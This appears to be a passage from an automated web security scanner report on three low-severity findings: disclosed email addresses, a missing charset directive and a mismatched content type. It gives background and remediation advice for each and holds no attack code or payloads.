The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
...[SNIP]... <input type="hidden" name="is_accept_from_email" value="true"> Accept email sent to dbabble_guest1@netwin.co.nz and turn into instant messages for me</td> ...[SNIP]...
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
The response contains the following Content-type statement:
Content-Type: text/html
The response states that it contains HTML. However, it actually appears to contain script.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.